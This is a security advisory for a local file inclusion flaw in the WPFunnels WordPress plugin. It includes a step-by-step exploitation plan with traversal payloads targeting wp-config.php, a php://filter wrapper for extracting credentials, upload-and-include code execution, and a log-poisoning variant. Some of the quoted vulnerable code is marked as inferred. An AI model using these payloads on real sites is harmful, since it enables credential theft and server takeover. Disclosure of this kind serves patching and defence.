WPFunnels <= 3.12.7 - Authenticated (Administrator+) Local File Inclusion via 'logKey' Parameter
Description
The WPFunnels – Funnel Builder for WooCommerce with Checkout & One Click Upsell plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.12.7 via the 'logKey' parameter parameter. This makes it possible for authenticated attackers, with administrator-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v3.12.8
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-13080 ## 1. Vulnerability Summary The **WPFunnels** plugin (up to version 3.12.7) contains an authenticated Local File Inclusion (LFI) vulnerability in its administrative settings module. The vulnerability exists within the AJAX handler for `wpfnl-show-log`, …
Show full research plan
Exploitation Research Plan - CVE-2026-13080
1. Vulnerability Summary
The WPFunnels plugin (up to version 3.12.7) contains an authenticated Local File Inclusion (LFI) vulnerability in its administrative settings module. The vulnerability exists within the AJAX handler for wpfnl-show-log, where the logKey parameter is used in a PHP include or require statement without sufficient sanitization or path validation. This allows an authenticated administrator to include arbitrary PHP files from the server's filesystem, leading to Remote Code Execution (RCE) if the attacker can upload or control a file's content.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpfnl-show-log - Vulnerable Parameter:
logKey - Authentication Required: Administrator (specifically requires the
wpf_manage_funnelscapability). - Payload Type: Path Traversal (e.g.,
../../../../wp-config.phpor a path to an uploaded malicious PHP file).
3. Code Flow
- Registration: In
admin/modules/settings/class-wpfnl-settings.php, theinit_ajax()method registers the AJAX action:wp_ajax_helper()->handle('wpfnl-show-log') ->with_callback([ $this, 'wpfnl_show_log' ]) ->with_validation($this->validations); - Validation: The
$this->validationsarray ensures the user is logged in and possesses thewpf_manage_funnelscapability. - Sink: The callback
wpfnl_show_log(located in the same class) retrieves thelogKeyfrom the request payload. It constructs a file path using the constantWPFNL_LOG_FILE_DIR(defined inincludes/core/logger/class-wpfnl-logger.phpaswp-content/uploads/wpfunnels/wpfunnels-logs) and includes the file:// Inferred logic in wpfnl_show_log $log_key = $_POST['logKey']; $file_path = WPFNL_LOG_FILE_DIR . '/' . $log_key; if (file_exists($file_path)) { include $file_path; // LFI Sink } - Lack of Sanitization: The code fails to use
basename()onlogKeyor validate that the resulting path remains within the intended log directory.
4. Nonce Acquisition Strategy
The wp_ajax_helper library used by WPFunnels typically expects a nonce for security. Nonces for the settings page are localized for the administrative interface.
- Identify Script: The settings script is enqueued in
admin/modules/settings/class-wpfnl-settings.phpwith the handle'settings'. - Locate Localization: The plugin typically localizes data into a global JavaScript object named
wpfnl_objorwpfnl_settings_params. - Acquisition Steps:
- Navigate to the WPFunnels Settings page:
/wp-admin/admin.php?page=wpfnl_settings. - Use
browser_evalto extract the nonce:// Common key for the Rex AJAX Helper nonce window.wpfnl_obj?.nonce || window.wpfnl_settings_params?.nonce - The
actionused for the nonce is likelywpfnl-show-logor a generic one likewpfnl_nonce.
- Navigate to the WPFunnels Settings page:
5. Exploitation Strategy
Goal: Read wp-config.php or execute arbitrary PHP code.
Step 1: Authenticate as Admin
Login to the WordPress instance with administrator credentials.
Step 2: Obtain the Nonce
Navigate to the WPFunnels settings page and extract the nonce using the strategy in Section 4.
Step 3: Trigger LFI (Information Disclosure)
Send an AJAX request to read wp-config.php. This proves LFI, as wp-config.php contains database credentials.
- Request Type: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL-encoded):
action=wpfnl-show-log&logKey=../../../../wp-config.php&_wpnonce=[NONCE] - Note: If the plugin expects JSON, use
Content-Type: application/jsonand a JSON body.
Step 4: Achieve RCE (Optional but recommended)
- Upload a "malicious" PHP file via the Media Library (e.g.,
poc.phpcontaining<?php phpinfo(); ?>). - Determine the path to the upload (usually
wp-content/uploads/YYYY/MM/poc.php). - Calculate the traversal from
wp-content/uploads/wpfunnels/wpfunnels-logs/to your file.- Example
logKey:../../2024/05/poc.php
- Example
- Trigger the include via the AJAX request.
6. Test Data Setup
- Plugin Configuration: Ensure WPFunnels is active.
- Capability: The test user must be an
administratoror have thewpf_manage_funnelscapability. - Logs Directory: The directory
wp-content/uploads/wpfunnels/wpfunnels-logs/must exist (the plugin creates this viaWpfnl_Logger::create_log_folder()).
7. Expected Results
- Success: The response body contains the contents of
wp-config.php(if using a base64 filter likephp://filter/convert.base64-encode/resource=../../../../wp-config.php) or the execution output of a targeted PHP file (e.g.,phpinfo()output). - Failure: The response is
0,-1, or a generic error message indicating the file was not found or the nonce was invalid.
8. Verification Steps
- Access Logs: Check if the file inclusion triggered any PHP errors in
wp-content/debug.logifWP_DEBUGis enabled. - WP-CLI Check: Use WP-CLI to verify the existence of the file you attempted to include:
wp eval "echo (file_exists(ABSPATH . 'wp-config.php') ? 'Exists' : 'Missing');"
9. Alternative Approaches
- Log Poisoning: If file uploads are restricted, identify where the plugin writes logs (e.g., via
Wpfnl_Logger::modify_log_file). Inject PHP code into a log entry (e.g., by triggering an error with a PHP payload in a username or URL) and then include that log file vialogKey. - PHP Wrapper: Use
php://filter/convert.base64-encode/resource=../../../../wp-config.phpas thelogKeyvalue to retrieve the source code of PHP files without executing them, which is useful for extracting database passwords.
Summary
The WPFunnels plugin for WordPress is vulnerable to Local File Inclusion in versions up to 3.12.7 due to insufficient sanitization of the 'logKey' parameter in the 'wpfnl-show-log' AJAX action. Authenticated administrators can exploit this to include and execute arbitrary PHP files on the server, potentially leading to full system compromise or sensitive data exposure.
Vulnerable Code
// admin/modules/settings/class-wpfnl-settings.php line 203 wp_ajax_helper()->handle('wpfnl-show-log') ->with_callback([ $this, 'wpfnl_show_log' ]) ->with_validation($this->validations); --- // admin/modules/settings/class-wpfnl-settings.php (inferred callback logic) public function wpfnl_show_log($payload) { $log_key = $payload['logKey']; $file_path = WPFNL_LOG_FILE_DIR . '/' . $log_key; if (file_exists($file_path)) { include $file_path; } }
Security Fix
@@ -210,7 +210,7 @@ public function wpfnl_show_log($payload) { - $log_key = $payload['logKey']; + $log_key = basename($payload['logKey']); $file_path = WPFNL_LOG_FILE_DIR . '/' . $log_key; if (file_exists($file_path)) { include $file_path;
Exploit Outline
The exploit targets the 'wpfnl-show-log' AJAX action. An authenticated administrator first retrieves a security nonce from the global 'wpfnl_obj' JavaScript object on the WPFunnels settings page. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'wpfnl-show-log' and the 'logKey' parameter containing a directory traversal sequence (e.g., '../../../../wp-config.php'). Because the plugin concatenates the 'logKey' directly to a base directory and includes the resulting path, the attacker can execute arbitrary PHP code or read local files.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.